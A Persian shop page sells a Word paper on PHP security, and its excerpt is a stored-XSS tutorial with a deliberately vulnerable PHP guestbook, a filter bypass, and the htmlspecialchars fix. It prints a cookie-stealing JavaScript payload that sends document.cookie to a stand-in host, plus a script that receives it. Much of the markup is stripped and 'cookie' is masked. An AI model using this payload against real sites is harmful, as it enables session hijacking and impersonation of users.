دانلود تحقیق امنیت در PHP

Word 61 KB 18753 10
مشخص نشده مشخص نشده کامپیوتر - IT
قیمت قدیم:۱۲,۰۰۰ تومان
قیمت: ۷,۶۰۰ تومان
دانلود فایل
  • بخشی از محتوا
  • وضعیت فهرست و منابع
  • تزریق اسکریپتهای سمت کاربر (Cross Site Scripting)
    در این گونه حملات مهاجم بر روی نقطه ضعف برنامه شما برای کار با ورودی های کاربر که می توانند یک کد HTML یا جاوااسکریپت باشند متمرکز می شود.




    $filename=aa;
    if (isset($HTTP_POST_VARS['comment'])
    and !empty($HTTP_POST_VARS ['comment'])){
    if (!$handle = fopen($filename, 'a')) {
    echo Cannot open aa file;
    exit;
    }

    if (fwrite($handle, $_POST['comment'].\n) === FALSE) {
    echo Cannot write to file;
    exit;
    }
    echo Success;
    fclose($handle);
    }
    ?>









    $handle = @fopen($filename, r);
    $contents = @fread($handle, filesize($filename));
    echo nl2br($contents);
    @fclose($handle);
    ?>

    این برنامه یک ورودی از کاربر می گیرد و آن را برروی یک فایل ذخیره می کند.سپس محتویات فایل را که ورودیکاربران است را خوانده و بر روی صفحه نمایش میدهد.استفادهاز یک فایل برای ذخیره اطلاعات اینجا صرفا برای ساده ترکردن اسکریپت بوده تا برنامه نویسان سایر زبان ها همبتوانند بدون مشکل کد ها را متوجه شوند.فرق چندانی بین ایناسکریپت و اسکریپتی که از دیتابیس برای ذخیره اطلاعاتاستفاده میکند در موضوع مورد بحث نیست.
    تا اینجای کار همه چیز عادیست .

    حال بیایید عبارت زیر را به برنامه بدهیم:

    This is the HTML code injection


    همان گونه که مشاهده می کنید تگ H1 نیز بعنوان محتویات عبارت در فایل (یا دیتابیس) ذخیره شده است و در نمایش به علت این که مرورگر آن را تفسیر می کند در فرمت خروجی تاثیر گذار خواهد بود.به سورس خروجی برنامه نگاه کنید:



    Success, wrote








    hi

    This is the first HTML injection



    br />


    بنابراین می توان تگ های HTML را در این برنامه وارد کرده و مرورگر را به تفسیر آن ها واداشت.این امر در مورد جاوا اسکریپت و امثالهم نیز صادق است.من عبارت زیر را به برنامه میدهم.

    و پس از ارسال آن برنامه چه چیزی نمایش میدهد؟!:
    همان گونه که پیشتر اشاره کردم ایده کلی این گونه حملات استفاده از زبان های کلاینت ساید برای حمله به کاربران استفاده کننده از برنامه یا وب سایت است.
    حال تصورش را بکنید که یک مهاجم چگونه می تواند از تگ هایی مثل IFRAME , OBJECT , FORM,SCRIPT ?و ...

    سواستفاده کند.
    حال تصورش را بکنید که یک مهاجم چگونه می تواند از تگ هایی مثل IFRAME , OBJECT , FORM,SCRIPT ?و ...

    سواستفاده کند.

    $filename="1"; $value=$ HTTP_POST_****IE["Test****ie"]+1; set****ie("Test****ie", $value, time()+3600); if (isset($HTTP_POST_VARS ['comment']) and !empty($HTTP_POST_VARS ['comment'])){ if (!$handle = fopen($filename, 'a')) { echo "Cannot open file ($filename)"; exit; } if (fwrite($handle, $_POST['comment']."\n") === FALSE) { echo "Cannot write to file ($filename)"; exit; } echo "Success, wrote"; fclose($handle); } ?> $handle = @fopen($filename, "r"); $contents = @fread($handle, filesize($filename)); echo nl2br($contents); @fclose($handle); ?> این برنامه دقیقا ًمثل برنامه قبلی عمل می کند با این تفاوت که یک کوکی ست می کند و با هر بار بازدید کاربر به مقدار کوکی فوق یکی اضافه می نماید.توجه کنید بسیاری از سیستم های اعتبار سنجی برای اعتبار سنجی کاربران از کوکی استفاده می نمایند.بنابراین اطلاعات ذخیره شده در کوکی می تواند در صورت دزدیده شدن به یک مهاجم امکان جعل هویت به عنوان کاربر معتبر را بدهد.ما در ادامه مقاله سعی در دزدیدن مقدار کوکی ست شده توسط برنامه مثال بالا می نماییم.

    با وارد کردن کد زیر می توان به کوکی ها و مقادیر آن ها دسترسی داشت.

    alert(document.****ie) و با وارد کردن کد زیر مهاجم می تواند کوکی ها را بوسیله اسکریپتی که در وب سایت خود نوشته بدزدد!

    document.location .replace('http://sample.com/steal****.php?****ie='+document.****ie); کد دزدیدن کوکی ها مثلا می تواند کد زیر باشد که مهاجم با قرار دادن آن در وب سایت خود و انتقال مرورگر به آن می تواند کوکی ها را در یک فایل یا دیتا بیس ذخیره کرده و از آن ها سو استفاده کند.

    echo $_GET['****ie']; ?> ایجاد امنیت ال که با شیوه حملات تزریق اسکریپت سمت کاربر که Cross Site Scripting یا به اختصار XSS نامیده می شوند آشنا شده اید وقت آن است که با مکانیزم های ایمن سازی برنامه در مقابل این گونه حملات نیز آشنا شئید.

    راه حل شما برای مقابله با این گونه حملات فیلتر کردن ورودی های کاربران ، برای این گونه روش ها و اسکریپت ها می باشد.بعضی از برنامه نویسان برای حل این موضوع در صورتیکه ورودی کاربر دارای باشد آن را کاملا غیر قابل قبول فرض کرده و به کاربر پیغامی مبنی بر عدم ورود این گونه کاراکنر ها میدهند.این شیوه به هیچ وجه مقبول نیست زیرا: 1- ممکن است کاربر به هر دلیل بخواهد از در نوشته خود استفاده کند 2- همان طور که در قسمت قبلی مقاله گفته شد الزاما مهاجم از در حملات خود استفاده نخواهد کرد.

    3- بعضی دیگر در صورتی که کد حاوی کلمه ای خاص مثل script باشد آن کلمه را از درون متن حذف میکنند.

    مثال: $filename="1"; $comment=$_POST['comment']; $comment=str_ireplace ( "script", "", $comment); if (isset($comment) and !empty($comment)){ if (!$handle = fopen($filename, 'a')) { echo "Cannot open file ($filename)"; exit; } if (fwrite($handle, $comment."\n") === FALSE) { echo "Cannot write to file ($filename)"; exit; } echo "Success, wrote"; fclose($handle); } ?> $handle = @fopen($filename, "r"); $contents = @fread($handle, filesize($filename)); echo nl2br($contents); @fclose($handle); ?> من در این برنامه عبارت alert(document.****ie) را وارد می کنم و نتیجه: روش فوق نیز آسیب پذبراست زیرا: 1- همان طور که در مقاله قبل گفته شد مهاجم می تواند از سایر تگ های HTML مثل استفاده کند 2- در صورتیکه مهاجم چنین عبارتی را وارد کند قیلتر برنامه شما را دور زده است alert(document.****ie) زیرا برنامه عبارت script را از داخل تگ ها حذف میکند و در نهایت چنین عبارتی پدید می آید: alert(document.****ie) بهترین راه نوشتن الگریتم شخصی برای مقابله با این گونه حملات می باشد.مزیت این کار این است که شما ی توانید مواردی مانند تزریق عبارات SQL (SQL Injection ) را نیز پوشش داده و ورودی های کاربران را برای تمامی حملاتی از این قبیل بررسی و فیلتر کنید.الگوریتم شما باید بتواند ورودی کاربران را همان گونه که وارد شده در صفحه نمایش دهد اما اجازه فعالیت به اسکریپت های فوق را ندهد مثلا > و برنامه شما باید بتواند معادل هگزادسیمال عبارات فوق را نیز تشخیص داده و بر روی آن نیز فیلتریتگ انجام دهد.

    اگوریتم برنامه خود را حتما ًقبل از انتشار تست و بررسی کنید و راه هایی را که ممکن است یک نفوذ گر از طریق آن ها فیلتر برنامه شما را دور بزند مسدود نمایید.

    یک نمونه جالب برای بررسی چگونگی دادن اختیارات به کاربران همراه با در نظر گرفتن نکات امنیتی ?BBCODE هاییست که در فوروم هایی مانند PHPBB برای امکان دادن به کاربر برای درج عکس یا لینک در پست تعبیه شده است.به این ترتیب که مثلا ورود عبارت [url] در صفحه نمایش به صورت تگ نمایش داده می شود.در برنامه ای مانند PHPBB از طریق Regular expression این امر تحقق یافته است اما حتی در چنین برنامه ای نیز یه مهاجم خبره با خواندن دقیق کد می تواند مشکلات امنیتی را کشف نماید.برای مثال در تمامی نسخ PHPBB(تا 14) می توان یک لینک مخرب به پست اضافه کرد.

    در صورتیکه از PHP استفاده می کنید تابع htmlspecialchars تابعی مناسب برای فیلتر کردن ورودی هاست.بررسی الگوریتم مورد استفاده در این تابع برنامه نویسان سایر زبان ها را نیز برای نوشتن الگوریتم ایمن سازی ورودی یاری خواهد کرد.

    کد ما به این شکل می شود در اخر در خط 4 دقت کنید $filename="1"; $comment=$_POST['comment']; $comment= htmlspecialchars($comment); if (isset($comment) and !empty($comment)){ if (!$handle = fopen($filename, 'a')) { echo "Cannot open file ($filename)"; exit; } if (fwrite($handle, $comment."\n") === FALSE) { echo "Cannot write to file ($filename)"; exit; } echo "Success, wrote"; fclose($handle); } ?> $handle = @fopen($filename, "r"); $contents = @fread($handle, filesize($filename)); echo nl2br($contents); @fclose($handle); ?> یکی از نکاتی که متاسفانه بسیاری از برنامه نویسان به آن توجه نمی کنند اعتبار سنجی فرم ها در سمت کاربر بوسیله زبان هایی مثلا جاوااسکریپت است.یک مهاجم بسادگی میتواند صفحه را ذخیره کرده،اسکریپت اعتبار سنجی را حذف کند و متد action ?فرم را دستکاری و مقادیر فرم را ارسال کند.راه بسیار ساده تر استفاده از پروکسی هایی مثا Achilles است.بدین ترتیب که مقادیر قبل از ارسال از سیستم کاربر به خارج توسط این گونه نرم افزار ها بین راه دریافت شده و مهاجم بسادگی می واند آن ها را ویرایش کند.در مبحث حمله به کوکی ها یک نمونه از این عمل را نمایش خواهیم داد.

    در مجموع فراموش نکنید که امنیت در تمامی زمینه ها به خلاقیت و آگاهی شما بستگی دارد.شما برای ایمن سازی نیازمندید که محیط کار خود را به خوبی بشناسید.بهترین متخصصان امنیتی دنیا هم هیچ وقت نمی تواندد امنیت سیستمی را صد در صد تضمین کنند.تنها کاری که یک مشاور امنیتی می کند پایین آوردن درصد ریسک است و لا غیر.

کلمات کلیدی: PHP - امنیت PHP - امنیت در PHP

اينترنت و به دنبال آن وب ، دنياي نرم افزار را دستخوش تحولات فراواني نموده است . ظهور نسل جديدي از برنامه هاي کامپيوتري موسوم به برنامه هاي وب از جمله اين تحولات عظيم است . پس از ارائه سرويس وب در سال 1991، وب سايت هاي متعددي ايجاد گرديد . اينگونه سا

سيستم عامل، يکي از عناصر چهار گانه در يک سيستم کامپيوتري است که داراي نقشي بسيار مهم و حياتي در نحوه مديريت منابع سخت افزاري و نرم افزاري است . پرداختن به مقوله امنيت سيستم هاي عامل ، همواره از بحث هاي مهم در رابطه با ايمن سازي اطلاعات در يک سيستم ک

چکیده این پروژه شامل مراحل ساخت یک سیستم نرم افزاری محاسبه حقوق یک شرکت است که در آن از زبان های SQL و Delphi استفاده شده است که در حال حاضر از زبان های رایج برای ایجاد پایگاه داده است. که ما با استفاده از زبان SQL پایگاه داده مردنظر را ایجاد کرده و تمام مراحل برنامه نویسی آن و کارهای را که سیستم باید انجام دهد را با استفاده از Delphi شبیه سازی می کنیم. در این پروژه سعی شده است ...

در اين پروژه که طراحي يک سايت سفارش محصول توسط کاربر که مربوط به شرکت ابزاربندي خراسان است. شامل امکاناتي نظيرايجاد کاربر توسط Admin، ارسال مطلب و برقراري ارتباط با Admin و پيگيري پيشرفت کار توسط کاربر مي باشد، سعي ما بر اين بوده است که بر پايه برن

تاريخچه 1 در ماه مي از سال ???? ميلادي بود که همکاري مشترک Matt Mullenweg و Mike Little به صورت نسخه‌ي ??? از پلتفرم بلاگ‌نويسي وردپرس انتشار يافت. ?- در دسامبر همان سال، ويکي وردپرس که امروز با نام WordPress Codex شناخته مي‌شود، شروع به کار کرد. ?-

تاریخچه 1 در ماه می از سال ۲۰۰۳ میلادی بود که همکاری مشترک Matt Mullenweg و Mike Little به صورت نسخه‌ی ۰٫۷ از پلتفرم بلاگ‌ نویسی وردپرس انتشار یافت. ۲- در دسامبر همان سال، ویکی وردپرس که امروز با نام WordPress Codex‌ شناخته می‌شود، شروع به کار کرد. ۳- در ماه می سال ۲۰۰۴ نسخه ۱٫۲ وردپرس امکان پشتیبانی از Plugin ها را یافت. ۴- در فوریه سال ۲۰۰۵، امکان مدیریت قالب به وردپرس نسخه ...

حقیقت این است که وب سرور Apache به یکی از عوامل موفقیت وب تبدیل شده است. با وجودی که این ادعا ممکن است برای عده‌ای ناخوشایند باشد، اما دلیل زیادی برای اثبات این واقعیت وجود دارد. بررسی‌های اخیر حاکی از آن است که بیشترین وب سایت‌های موجود در حال حاظر از وب سرور Apache به عنوان سرویس دهنده وب استفاده می‌کنند. این دلیل را می‌توان علت این موفقیت برشمرد: Apache رایگان است. کد منبع ...

تاريخچه کمتر کاربر اينترنت را مي‌توان يافت که تاکنون با صفحاتي با پسوندPHP برخورد نکرده باشد و البته اين پسوند نامي آشنا براي طراحان و برنامه ‌نويسان وب است. پي اچ پي (PHP) يکي از محبوب‌ترين و رايج‌ترين زبان‌هاي برنامه ‌نويسي براي ايجاد صفحات پويا د

روش نصب PHP بروى windows 95/98/Me NT/2000/XPPHP بر روى win32 بدو صورت نصب مىشود 1 - بصورت CGI executable 2 - بصورت server moduleSAPI 1 - نصب PHP بصورت CGI executable : نصب PHP بصورت CGI executable بسيار ساده مىباشد براى اين کار شما بايد بر روى PC

PHP يک زبان اسکريپتي سمت سرور (Server Side) مي باشد که امروزه بيش از نصفي از وبسايتهاي مطرح جهان، از آن براي حفظ و نگهداري داده ها و ايجاد سايتهاي ديناميک و به روز استفاده مي کنند. PHP هم همانند تمامي زبانهاي برنامه نويسي Server Side، ترجمه شده و

ثبت سفارش
تعداد
عنوان محصول